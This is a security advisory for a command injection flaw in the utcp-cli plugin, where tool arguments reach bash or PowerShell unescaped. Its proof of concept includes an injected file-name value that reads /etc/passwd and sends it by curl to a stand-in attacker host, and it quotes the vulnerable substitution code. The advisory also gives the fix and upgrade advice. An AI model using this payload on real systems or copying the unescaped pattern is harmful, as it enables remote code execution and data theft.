PYSEC-2026-560

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

## Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.